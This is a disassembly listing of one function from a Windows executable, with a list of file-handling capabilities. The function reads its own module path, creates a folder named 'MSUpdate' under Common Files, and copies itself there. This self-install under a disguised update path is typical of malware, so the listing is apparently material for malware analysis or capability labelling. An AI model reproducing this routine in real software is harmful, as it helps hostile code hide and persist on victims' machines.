Function at 0x140005e00
Capabilities:
Check if file exists
Copy file
Create directory
Get file attributes

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
lea rbp, [rax - 0xb8]
sub rsp, 0x1a0
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
mov rax, qword [0x140040080]
xor rax, rsp
mov qword [rbp + 0x90], rax
xor r12d, r12d
mov dword [rsp + 0x50], r12d
mov r8d, 0x104
lea rdx, [rbp - 0x80]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movdqa xmm0, xmmword [0x14003af70]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], r12b
lea rax, [rbp - 0x80]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x140005e80
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x30]
call fcn.140004070
mov rdx, qword [0x140040c30]
cmp rdx, 0x10
jb 0x140005ed8
mov rcx, qword [0x140040c18]
inc rdx
cmp rdx, 0x1000
jb 0x140005ed3
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006479
mov rcx, r8
call fcn.140009744
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [0x140040c18], xmm0
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [0x140040c28], xmm1
movdqa xmm0, xmmword [0x14003af70]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], r12b
mov r8d, 0x2c
lea rdx, str.C:Program_Files__x86_Common_FilesMSUpdate
lea rcx, [rsp + 0x30]
call fcn.140004070
mov rdx, qword [0x140040c50]
cmp rdx, 0x10
jb 0x140005f5b
mov rcx, qword [0x140040c38]
inc rdx
cmp rdx, 0x1000
jb 0x140005f56
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000647f
mov rcx, r8
call fcn.140009744
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [0x140040c38], xmm0
movdqu xmm1, xmmword [rsp + 0x40]
movups xmmword [0x140040c48], xmm1
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
lea r14, [0x140040c38]
mov r15, r14
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae r15, rcx
movq rdi, xmm1
cmp rdi, 0x10
jae 0x140005fc2
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x48], recv
jmp 0x14000603b
mov rbx, rdi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rax, [rbx + 1]
cmp rax, 0x1000
jb 0x140006010
lea rcx, [rax + 0x27]
cmp rcx, rax
cmovbe rcx, rsi
call fcn.14000974c
mov rcx, rax
test rax, rax
je 0x140006485
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140006022
test rax, rax
je 0x14000601f
mov rcx, rax
call fcn.14000974c
jmp 0x140006022
mov rax, r12
mov qword [rsp + 0x30], rax
lea r8, [rdi + 1]
mov rdx, r15
mov rcx, rax
call fcn.14000b110
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rdi
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.1400066d0
mov rbx, rax
lea r15, [0x140040c58]
cmp r15, rax
je 0x1400060dc
mov rdx, qword [0x140040c70]
cmp rdx, 0x10
jb 0x14000609f
mov rcx, qword [0x140040c58]
inc rdx
cmp rdx, 0x1000
jb 0x14000609a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006491
mov rcx, r8
call fcn.140009744
mov qword [0x140040c68], r12
mov qword [0x140040c70], 0xf
mov byte [0x140040c58], r12b
movups xmm0, xmmword [rbx]
movups xmmword [0x140040c58], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140040c68], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], recv
mov byte [rbx], r12b
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140006119
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006114
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000648b
call fcn.140009744
movdqa xmm0, xmmword [0x14003af70]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], r12b
mov rcx, qword [0x140042dd0]
test rcx, rcx
je 0x140006142
cmp byte [rcx], r12b
je 0x140006142
call fcn.140011aa4
mov rdx, r15
cmp qword [0x140040c70], 0x10
cmovae rdx, qword [0x140040c58]
lea rcx, [0x140040c18]
cmp qword [0x140040c30], 0x10
cmovae rcx, qword [0x140040c18]
mov r8, qword [0x140040c28]
cmp r8, qword [0x140040c68]
jne 0x140006185
call fcn.14000b7b0
test eax, eax
je 0x1400061f8
mov rcx, r14
cmp qword [0x140040c50], 0x10
cmovae rcx, qword [0x140040c38]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1400061be
cmp qword [0x140040c50], 0x10
cmovae r14, qword [0x140040c38]
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rdx, r15
cmp qword [0x140040c70], 0x10
cmovae rdx, qword [0x140040c58]
lea rcx, [0x140040c18]
cmp qword [0x140040c30], 0x10
cmovae rcx, qword [0x140040c18]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov byte [0x140042dc9], 1
call fcn.1400068e0
test al, al
jne 0x14000638a
mov edi, dword [0x140040c68]
mov r8, r15
cmp qword [0x140040c70], 0x10
cmovae r8, qword [0x140040c58]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rsi
mov rcx, rax
call fcn.140009a50
mov r14, rax
mov r8, r15
cmp qword [0x140040c70], 0x10
cmovae r8, qword [0x140040c58]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movdqa xmm0, xmmword [0x14003af60]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r12w
nop
inc rsi
cmp word [r14 + rsi*2], r12w
jne 0x140006290
mov r8, rsi
mov rdx, r14
lea rcx, [rsp + 0x30]
call fcn.140005c90
mov rcx, r14
call fcn.140009744
nop
mov dword [rsp + 0x50], 0x1d
lea rbx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rbx, qword [rsp + 0x30]
lea rdx, [0x140040cd8]
lea rcx, [rsp + 0x58]
call fcn.140005b30
cmp qword [rax + 0x18], 8
jb 0x1400062e7
mov rax, qword [rax]
mov rdx, rbx
mov rcx, rax
call fcn.1400064a0
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x140006334
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000632f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006497
call fcn.140009744
movdqa xmm0, xmmword [0x14003af60]
movdqu xmmword [rsp + 0x68], xmm0
mov word [rsp + 0x58], r12w
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x14000638a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006385
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000646d
call fcn.140009744
movzx eax, byte [0x140042dc9]
test al, al
je 0x14000643d
cmp byte [0x140042dca], 0
jne 0x14000643d
lea r8, [0x140040c18]
lea rdx, [0x14003aac8]
lea rcx, [rsp + 0x58]
call fcn.1400058b0
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400063ce
mov rcx, qword [rax]
call fcn.140011a2c
mov rdi, rax
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000640c
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140006407
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006473
mov rcx, r8
call fcn.140009744
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], recv
mov byte [rbx], 0
cmp qword [0x140040c70], 0x10
cmovae r15, qword [0x140040c58]
mov rdx, rdi
mov rcx, r15
call fcn.1400069f0
movzx eax, byte [0x140042dc9]
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.140009720
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400119b4
int3
call fcn.1400119b4
int3
call fcn.1400119b4
int3
call fcn.1400119b4
int3
call fcn.1400119b4
int3
call fcn.1400119b4
int3
call fcn.1400119b4
nop
call fcn.1400119b4
nop
int3